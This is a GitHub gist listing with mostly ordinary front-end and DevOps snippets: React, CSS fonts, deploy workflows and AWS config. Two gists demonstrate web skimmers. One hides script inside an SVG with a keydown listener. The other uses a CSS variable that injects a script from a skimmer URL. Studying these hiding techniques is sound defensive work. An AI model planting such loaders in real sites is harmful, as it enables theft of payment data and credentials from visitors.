Skip to content

Instantly share code, notes, and snippets.

View takahirohonda's full-sized avatar

Takahiro Honda takahirohonda

View GitHub Profile
@takahirohonda
takahirohonda / mount-rendered.html
Created April 23, 2021 23:31
mount-rendered.html
<Wrapper>
<div className="wrapper">
Children here
</div>
</Wrapper>
@takahirohonda
takahirohonda / wrapper-component.jsx
Created April 23, 2021 23:30
wrapper-component.jsx
import React from 'react';
const Wrapper = ({children})
=> <div className='wrapper'>{children}</div>
export default Wrapper;
@takahirohonda
takahirohonda / font-face-multiple-usage.css
Created April 23, 2021 23:04
font-face-multiple-usage.css
.regularText {
font-family: 'Lato', sans-serif;
font-style: normal;
font-weight: 400;
}
.boldText {
font-family: 'Lato', sans-serif;
font-style: normal;
font-weight: 700;
@takahirohonda
takahirohonda / font-face-multiple.css
Created April 23, 2021 23:03
font-face-multiple.css
@font-face {
font-family: 'Lato';
font-style: normal;
font-weight: 400;
src: url('./Lato-Regular.ttf') format('truetype');
}
@font-face {
font-family: 'Lato';
font-style: normal;
@takahirohonda
takahirohonda / web-skimmer-in-svg.md
Last active December 23, 2020 01:56
web-skimmer-in-svg

Script can be added to the svg file. This has JS code, but it can be just pulled from somewhere as in the example above.

<svg version="1.1" xmlns="http://www.w3.org/2000/svg" height="210" width="500">
  <polygon points="100,10 40,198 190,78 10,78 160,198"
    style="fill:lime;stroke:purple;stroke-width:5;fill-rule:nonzero;"/>
  <script type="text/javascript"><![CDATA[
    window.addEventListener('DOMContentLoaded', () => {
      console.log('JS in SVG file executed');
      document.documentElement.addEventListener('keydown',function(e){
@takahirohonda
takahirohonda / web-skimmer-in-css.md
Last active December 23, 2020 01:36
web-skimmer-in-css

Global Css file with Css variable to pull a skimmer.

:root {
  --script: setTimeout(function()
    {
      var head=document.getElementById('test');
      var script = document.createElement('script');
      script.src="https://my.skimmer.com/js/web-skimmer/test2.js";
      head.appendChild(script);
 }, 2000);
@takahirohonda
takahirohonda / jekyll-deploy-github-page.yml
Created October 10, 2020 00:38
Github page deploy git hub actions example
name: Deploy to GitHub Page
on:
push:
branches:
- master
jobs:
build-and-deploy:
runs-on: ubuntu-latest
steps:
- name: Checkout
@takahirohonda
takahirohonda / static-asset-to-s3-buildspec.yaml
Last active July 30, 2020 07:39
static-asset-to-s3-buildspec.yaml
# Aws Doc: https://docs.aws.amazon.com/codebuild/latest/userguide/build-spec-ref.html
# Ref : https://github.com/backspace-academy/aws-nodejs-sample-codebuild/blob/master/buildspec.yml
# Do not change version. This is the version of aws buildspec, not the version of your buldspec file.
version: 0.2
env:
exported-variables:
- env
- cfdistid #CloudFront Distribution ID to clear the cache
@takahirohonda
takahirohonda / wiremock-Dockerrun.aws.json
Created July 29, 2020 12:59
wiremock-dockerrun.aws.json
{
"AWSEBDockerrunVersion": 2,
"volumes": [
{
"name": "wiremock-data",
"host": {
"sourcePath": "/var/app/current/mock-data"
}
},
{
@takahirohonda
takahirohonda / ring-bell-with-html-audio-example.js
Last active May 3, 2020 22:28
ring-bell-with-html-audio-example.js
import { BellImage } from '../assets/Bell-Image';
// This is the base64 encoded sound. The file looks like:
// export const BellSound = '//sdfagergr......'
import { BellSound } from '../assets/Bell-Sound';
export class Bell {
private readonly _host: HTMLElement;
constructor(host: HTMLElement) {